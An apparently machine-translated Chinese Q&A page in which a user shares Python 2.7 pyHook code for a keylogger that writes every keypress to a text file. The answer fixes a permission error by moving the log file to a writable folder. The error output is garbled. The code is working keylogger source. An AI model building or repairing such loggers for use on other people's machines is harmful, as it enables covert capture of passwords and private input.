我试图用Python2.7制作一个简单的键盘记录器。在
这是密码
# -*- coding: cp1252 -*-
import pyHook
import pythoncom
import sys
import logging
from subprocess import call
call(["cd","C:/"],shell=True)
file_log = 'C:/keyloggeroutput.txt'
def OnKeyboardEvent(event):
logging.basicConfig(filename=file_log, level=logging.DEBUG, format='%(message)s')
chr(event.Ascii)
logging.log(10,chr(event.Ascii))
return True
hooks_manager = pyHook.HookManager()
hooks_manager.KeyDown = OnKeyboardEvent
hooks_manager.HookKeyboard()
pythoncom.PumpMessages()
当我尝试使用它时,它返回以下错误:
^{pr2}$任何帮助都是感激的,我可以看到许可被拒绝,但我不知道如何解决这个问题。在
当它起作用时,我把它作为一个答案:
您必须将
keyloggeroutput.txt
放在您有足够权限的文件夹中,例如,如果您在MS Windows上,请将其放入“我的文档”。在相关问题 更多 >
编程相关推荐